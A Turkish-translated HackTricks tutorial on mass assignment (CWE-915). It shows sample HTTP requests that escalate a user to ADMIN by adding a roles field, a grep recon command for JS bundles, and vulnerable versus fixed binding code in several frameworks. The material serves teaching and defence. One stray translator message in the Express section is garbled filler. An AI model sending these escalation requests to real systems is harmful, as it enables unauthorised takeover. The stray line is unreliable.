Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Mass assignment (a.k.a. insecure object binding) oluşur; bir API/controller kullanıcı tarafından sağlanan JSON'u alıp, alanların açıkça allow-list ile sınırlandırılmadığı durumda doğrudan sunucu tarafı model/entity'ye bind ettiğinde. Eğer roles, isAdmin, status veya ownership gibi ayrıcalıklı özellikler bind edilebiliyorsa, herhangi bir authenticated kullanıcı ayrıcalık yükseltme veya korumalı durumu manipüle etme imkanına sahip olur.
Bu, genellikle roles=ADMIN gibi değerler ayarlanarak vertical privilege escalation sağlayan bir Broken Access Control issue'sudur (OWASP A01:2021). Otomatik olarak request body'lerini data modellere bağlayan framework'leri sıkça etkiler (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, vb.).
1) Mass Assignment'ı Bulma
Kendi profilinizi veya benzer kaynakları güncelleyen self-service endpoint'lere bakın:
- PUT/PATCH /api/users/{id}
- PATCH /me, PUT /profile
- PUT /api/orders/{id}
Mass assignment olduğunu işaret eden heuristikler:
- Response, siz göndermeseniz bile server-tarafı tarafından yönetilen alanları (ör. roles, status, isAdmin, permissions) echo ediyor.
- Client bundle'larında uygulama genelinde kullanılan role isimleri/ID'leri veya diğer ayrıcalıklı attribute isimleri (admin, staff, moderator, internal flags) bulunuyor; bu bind edilebilir bir şema olduğuna işaret eder.
- Backend serializer'lar bilinmeyen alanları reddetmeden kabul ediyor.
Hızlı test akışı:
- Sadece güvenli alanlarla normal bir güncelleme yapın ve tüm JSON response yapısını gözlemleyin (this leaks the schema).
- Body'ye özel olarak hazırlanmış bir ayrıcalıklı alan ekleyerek güncellemeyi tekrarlayın. Eğer response değişikliği koruyorsa, büyük olasılıkla mass assignment mevcut.
Example baseline update revealing schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
Yanıt ayrıcalıklı alanlara işaret ediyor:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) Exploitation – Role Escalation via Mass Assignment
Bağlanabilir şekli öğrendikten sonra, ayrıcalıklı özelliği aynı isteğe ekleyin.
Örnek: set roles to ADMIN on your own user resource:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
Eğer yanıt rol değişikliğini koruyorsa, uygulama admin-context oturumu oluşturup ayrıcalıklı UI/endpoints'i gösterecek şekilde tokens/claims'i yeniden doğrulayın veya yenileyin.
Notlar
- Rol tanımlayıcıları ve yapıları genellikle client JS bundle veya API dokümanlarından sıralanır. "roles", "ADMIN", "STAFF" veya sayısal rol ID'leri gibi dizeleri arayın.
- Eğer tokens içinde claims varsa (ör. JWT roles), yeni ayrıcalıkların uygulanması genellikle logout/login veya token refresh gerektirir.
3) Client Bundle Recon — Şema ve Rol ID'leri için
- Minified JS bundle'ları role strings ve model names için inceleyin; source maps DTO shapes'i ortaya çıkarabilir.
- roles, permissions veya feature flags içeren arrays/maps arayın. Tam property names ve nesting ile eşleşen payloads oluşturun.
- Tipik göstergeler: role name constants, dropdown option lists, validation schemas.
İndirilen bir bundle üzerinde kullanışlı grep komutları:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) Çerçeve Tuzakları ve Güvenli Desenler
Bu zafiyet, framework'lerin req.body'yi doğrudan kalıcı varlıklara bağlaması durumunda ortaya çıkar. Aşağıda yaygın hatalar ve en basit, güvenli desenler yer almaktadır.
Node.js (Express + Mongoose)
Güvenli olmayan:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
Çeviriyi düzeltmemi istiyorsunuz ancak kaynak içerik sağlanmamış. Lütfen src/pentesting-web/mass-assignment-cwe-915.md dosya içeriğini veya düzeltmemi istediğiniz kısmı gönderin.
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
Zafiyetli (strong parameters yok):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
Düzeltme (strong params + ayrıcalıklı alan yok):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
Etkilenebilir:
protected $guarded = []; // Everything mass-assignable (bad)
Düzeltme:
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
Güvenli olmayan desen:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
Düzeltme: Yalnızca izin verilen alanları içeren bir DTO'ya eşle ve yetkilendirmeyi zorunlu kıl:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
Daha sonra izin verilen alanları DTO'dan sunucu tarafında entity'ye kopyalayın ve rol değişikliklerini yalnızca RBAC kontrollerinden sonra admin-only handler'larda işleyin. Gerekirse ayrıcalıklı alanlarda @JsonIgnore kullanın ve bilinmeyen özellikleri reddedin.
Go (encoding/json)
- Ayrıcalıklı alanların json:"-" kullandığından emin olun ve yalnızca izin verilen alanları içeren bir DTO struct ile doğrulayın.
- decoder.DisallowUnknownFields() ve bağlama sonrası invariant doğrulamalarını (self-service yollarında roller değişemez) dikkate alın.
References
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
- OWASP Top 10 – Broken Access Control
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks